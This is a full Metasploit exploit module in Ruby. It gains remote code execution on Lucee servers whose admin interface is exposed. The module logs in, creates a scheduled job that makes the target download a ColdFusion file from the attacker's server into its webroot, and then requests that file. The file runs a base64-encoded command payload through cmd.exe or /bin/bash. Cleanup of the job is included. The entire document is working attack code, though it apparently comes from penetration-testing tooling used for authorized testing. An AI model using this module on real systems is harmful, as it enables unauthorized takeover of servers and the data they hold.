class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Retry
  include Msf::Exploit::FileDropper
  require 'base64'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Lucee Authenticated Scheduled Job Code Execution',
        'Description' => %q{
          This module can be used to execute a payload on Lucee servers that have an exposed
          administrative web interface. It's possible for an administrator to create a
          scheduled job that queries a remote ColdFusion file, which is then downloaded and executed
          when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,
          the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;
          on Linux, it is either the root user or lucee.
        },
        'Targets' => [
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_cmd
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ]
        ],
        'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-34074'],
          # This abuses the functionality inherent to the Lucee platform and
          # thus is not related to any CVEs.

          # Lucee Docs
          ['URL', 'https://docs.lucee.org/'],

          # cfexecute & cfscript documentation
          ['URL', 'https://docs.lucee.org/reference/tags/execute.html'],
          ['URL', 'https://docs.lucee.org/reference/tags/script.html'],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            # /opt/lucee/server/lucee-server/context/logs/application.log
            # /opt/lucee/web/logs/exception.log
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK,
            # ColdFusion files located at the webroot of the Lucee server
            # C:/lucee/tomcat/webapps/ROOT/ by default on Windows
            # /opt/lucee/tomcat/webapps/ROOT/ by default on Linux
          ]
        },
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2023-02-10'
      )
    )

    register_options(
      [
        Opt::RPORT(8888),
        OptString.new('PASSWORD', [false, 'The password for the administrative interface']),
        OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),
        OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),
      ]
    )
    deregister_options('URIPATH')
  end

  def exploit
    payload_base = rand_text_alphanumeric(8..16)
    authenticate

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          print_status("Payload request received for #{req.uri} from #{cli.peerhost}")
          send_response(cli, cfm_stub)
        end,
        'Path' => '/' + payload_base + '.cfm'
      }
    })

    #
    # Create the scheduled job
    #
    create_job(payload_base)

    #
    # Execute the scheduled job and attempt to send a GET request to it.
    #
    execute_job(payload_base)
    print_good('Exploit completed.')

    #
    # Removes the scheduled job
    #
    print_status('Removing scheduled job ' + payload_base)
    cleanup_request = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => {
        'action' => 'services.schedule'
      },
      'vars_post' => {
        'row_1' => '1',
        'name_1' => payload_base.to_s,
        'mainAction' => 'delete'
      }
    })
    if cleanup_request && cleanup_request.code == 302
      print_good('Scheduled job removed.')
    else
      print_bad('Failed to remove scheduled job.')
    end
  end

  def authenticate
    auth = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true,
      'vars_post' => {
        'login_passwordweb' => datastore['PASSWORD'],
        'lang' => 'en',
        'rememberMe' => 's',
        'submit' => 'submit'
      }
    })

    unless auth
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

    unless auth.code == 200 && auth.body.include?('nav_Security')
      fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')
    end

    print_good('Authenticated successfully')
  end

  def create_job(payload_base)
    create_job = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true,
      'vars_get' => {
        'action' => 'services.schedule',
        'action2' => 'create'
      },
      'vars_post' => {
        'name' => payload_base,
        'url' => get_uri.to_s,
        'interval' => '3600',
        'start_day' => '01',
        'start_month' => '02',
        'start_year' => '2023',
        'start_hour' => '00',
        'start_minute' => '00',
        'start_second' => '00',
        'run' => 'create'
      }
    })

    fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?
    fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302

    print_good('Job ' + payload_base + ' created successfully')
    job_file_path = file_path = webroot
    fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?

    case target['Type']
    when :unix_cmd
      file_path << '/'
      job_file_path = "#{job_file_path.gsub('/', '//')}//"
    when :windows_cmd
      file_path << '\\'
      job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"
    end
    update_job = send_request_cgi({
      'method' => 'POST',
      'uri' => target_uri.path,
      'keep_cookies' => true,
      'vars_get' => {
        'action' => 'services.schedule',
        'action2' => 'edit',
        'task' => create_job.headers['location'].split('=')[-1]
      },
      'vars_post' => {
        'name' => payload_base,
        'url' => get_uri.to_s,
        'port' => datastore['SRVPORT'],
        'timeout' => '50',
        'username' => '',
        'password' => '',
        'proxyserver' => '',
        'proxyport' => '',
        'proxyuser' => '',
        'proxypassword' => '',
        'publish' => 'true',
        'file' => "#{job_file_path}#{payload_base}.cfm",
        'start_day' => '01',
        'start_month' => '02',
        'start_year' => '2023',
        'start_hour' => '00',
        'start_minute' => '00',
        'start_second' => '00',
        'end_day' => '',
        'end_month' => '',
        'end_year' => '',
        'end_hour' => '',
        'end_minute' => '',
        'end_second' => '',
        'interval_hour' => '1',
        'interval_minute' => '0',
        'interval_second' => '0',
        'run' => 'update'
      }
    })

    fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?
    fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200
    register_files_for_cleanup("#{file_path}#{payload_base}.cfm")
    print_good('Job ' + payload_base + ' updated successfully')
  end

  def execute_job(payload_base)
    print_status("Executing scheduled job: #{payload_base}")
    job_execution = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => {
        'action' => 'services.schedule'
      },
      'vars_post' => {
        'row_1' => '1',
        'name_1' => payload_base,
        'mainAction' => 'execute'
      }

    })

    fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?
    fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200

    print_good('Job ' + payload_base + ' executed successfully')

    payload_response = nil
    retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do
      print_status('Attempting to access payload...')
      payload_response = send_request_cgi(
        'uri' => '/' + payload_base + '.cfm',
        'method' => 'GET'
      )
      payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)
    end

    # Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.
    fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500

    if payload_response.nil?
      print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
    elsif payload_response.code == 200
      print_good('Received 200 response from ' + payload_base + '.cfm')
      output = payload_response.body.strip
      if output.include?("\n")
        print_good('Output:')
        print_line(output)
      elsif output.present?
        print_good('Output: ' + output)
      end
    elsif payload_response.code == 500
      print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
    end
  end

  def webroot
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })
    return nil unless res

    res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text
  end

  def cfm_stub
    case target['Type']
    when :windows_cmd
      <<~CFM.gsub(/^\s+/, '').tr("\n", '')
        <cfscript>
            cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);
        </cfscript>
      CFM
    when :unix_cmd
      <<~CFM.gsub(/^\s+/, '').tr("\n", '')
        <cfscript>
            cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);
        </cfscript>
      CFM
    end
  end
end
